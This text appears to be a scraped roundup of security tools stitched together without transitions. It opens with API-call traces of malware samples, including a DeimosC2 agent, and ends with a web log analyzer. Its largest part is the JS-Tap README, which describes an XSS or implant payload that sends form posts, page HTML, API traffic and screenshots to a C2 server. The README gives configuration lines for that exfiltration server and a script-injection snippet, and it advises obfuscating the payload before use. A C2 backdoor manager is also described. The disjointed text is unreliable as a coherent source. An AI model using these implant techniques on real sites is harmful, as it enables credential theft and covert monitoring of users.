- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0) = 0xffffffff (-1)
[...]
Tracing multiple functions in the DeimosC2 framework agent:
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57 )
[...]
The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.
HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protection mechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)
Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.
python3 HardeningMeter.py -f /bin/cp -s
Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate
pip install tabulate
The very latest developments can be obtained via git.
Clone or download the project files (no compilation nor installation is required)
git clone https://github.com/OfriOuzan/HardeningMeter
Specify the files you want to scan, the argument can get more than one file seperated by spaces.
Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.
Specify whether you want to add external checks (False by default).
Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.
Specify if you want to scan the system hardening methods.
Specify if you want to save the results to csv file (results are printed as a table to stdout by default).
HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.
When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.
JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
Major changes are documented in the project Announcements:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
You can read the original blog post about JS-Tap here:
javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Short demo from ShmooCon of JS-Tap version 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demo of JS-Tap version 2 at HackSpaceCon, including C2 and how to use it as a post exploitation implant:
https://youtu.be/aWvNLJnqObQ?t=11719
A demo can also be seen in this webinar:
https://youtu.be/-c3b5debhME?si=CtJRqpklov2xv7Um
I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.
JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.
The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.
Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.
The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.
Make sure you review the configuration section below carefully before using on a publicly exposed server.
Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.
The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.
Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.
Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.
In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.
Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.
Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.
A user refreshing the page will generally break/escape the iframe trap.
Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.
A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.
Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).
Example:
mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt
run in debug/single thread mode:
python3 jsTapServer.py
run with gunicorn multithreaded (production use):
./jstapRun.sh
A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.
If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.
Note that on Mac I also had to install libmagic outside of python.
brew install libmagic
Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.
If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.
For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).
If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.
When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.
The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.
To change the server port configuration see the last line of jsTapServer.py
app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.
A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.
At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;
Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.
Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
These configuration variables are in the initGlobals() function.
You need to configure the payload with the URL of the JS-Tap server it will connect back to.
window.taperexfilServer = "https://127.0.0.1:8444";
Set to either trap or implant This is set with the variable:
window.taperMode = "trap";
or
window.taperMode = "implant";
Only needed for trap mode. See explanation in Operating Modes section above.
Sets the page the user starts on when the iFrame trap is set.
window.taperstartingPage = "http://targetapp.com/somestartpage";
If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:
window.taperstartingPage = window.location.href;
Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.
This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.
window.taperTag = 'whatever';
Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.
window.taperTaskCheck = true;
window.taperTaskCheckDelay = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop = 2000;
true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.
window.taperexfilHTML = true;
true/false setting on whether to intercept a copy of all form posts.
window.taperexfilFormSubmissions = true;
Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.
window.monkeyPatchAPIs = true;
By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.
window.postApiCallScreenshot = true;
window.screenshotDelay = 1000;
Login with the admin credentials provided by the server script on startup.
Clients show up on the left, selecting one will show a time series of their events (loot) on the right.
The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.
Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.
When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.
Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.
The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.
Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.
In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.
You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.
The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.
To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.
A few tools are included in the tools subdirectory.
A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.
At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.
numClients = 50
You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:
apiServer = "https://127.0.0.1:8444"
JS-Tap run using gunicorn scales quite well.
A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.
Run with:
python3 monkeyPatchLab.py
By default this will start the application running on:
https://127.0.0.1:8443
Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.
You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.
No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.
@hoodoer
hoodoer@bitwisemunitions.dev
MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.
Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper
This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |
If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request
# How to navigate to "MasterParser-main" folder from the PS terminal
PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"
# How to show MasterParser menu
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu
# How to run MasterParser
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start
https://github.com/YosfanEilay/MasterParser/assets/132997318/d26b4b3f-7816-42c3-be7f-7ee3946a2c70
The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.
C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.
Reverse shells support:
C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk
๐ Anywhere Access: Reach the C2 Cloud from any location.
๐ Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
๐ฑ๏ธ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
๐ Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.
๐ ๏ธ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
๐ TCP Socket: Serving reverse TCP requests for enhanced functionality.
๐ Nginx: Effortlessly routing traffic between web and backend systems.
๐จ Redis PubSub: Serving as a robust message broker for seamless communication.
๐ Websockets: Delivering real-time updates to browser clients for enhanced user experience.
๐พ Postgres DB: Ensuring persistent storage for seamless continuity.
Reverse TCP port: 8888
Clone the repo
Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.
Distributed under the MIT License. See LICENSE for more information.
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
This project is actively developed, and future features may include:
The tool only requires Python 3 at the moment.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)
